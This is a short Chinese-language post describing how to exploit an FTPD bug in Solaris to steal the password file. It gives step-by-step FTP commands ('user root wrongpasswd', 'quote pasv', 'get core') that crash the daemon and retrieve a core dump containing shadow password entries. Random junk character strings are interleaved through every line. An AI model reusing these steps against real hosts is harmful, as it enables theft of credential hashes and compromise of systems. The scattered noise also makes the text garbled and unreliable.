该方法利用了Solaris 操作系统中FTPD的一个BUG,使得用户可以获得该机的口令文件。具体过程如下:
$ }/ ]1 s& J8 e8 V8 V: C+ p9 q
9 u P, o3 M3 ]5 `! S2 M0 ~1.通过 ftp 正常登录到目的主机上
/ D" I, `' ~( V# T& \8 u7 o3 ^" G$ L! i' {# i
2.输入如下命令序列:& a1 q* }6 `0 k3 I4 u4 J
0 I' h3 J: O' w. W" J' B1 {$ Mftp> user root wrongpasswd
: z a, c) Q/ Y2 {5 w0 K! X4 N( A4 h9 {7 g, ?) D
ftp> quote pasv% b8 V& n% I+ I. V% k O
5 _4 b9 t+ ? B% G3.这时,ftpd会报错退出,同时会在当前目录下生成一个core,口令文件就包含在这个core中。- T2 i2 }6 u7 H2 h3 z% @4 W
7 i4 {5 |3 z. L8 N" x4 \! z
4.再次进入FTP >get core- |% S3 l. C# r5 w) ?- R
- o" l( ?, k% F' r4 Y" C
补充:虽然在core只有一部分shadow,但是对于系统来说已经是致命的打击了) x! z' e7 N7 X; w2 h7 `3 M/ ~
7 v% x" e! Z- T8 R! T |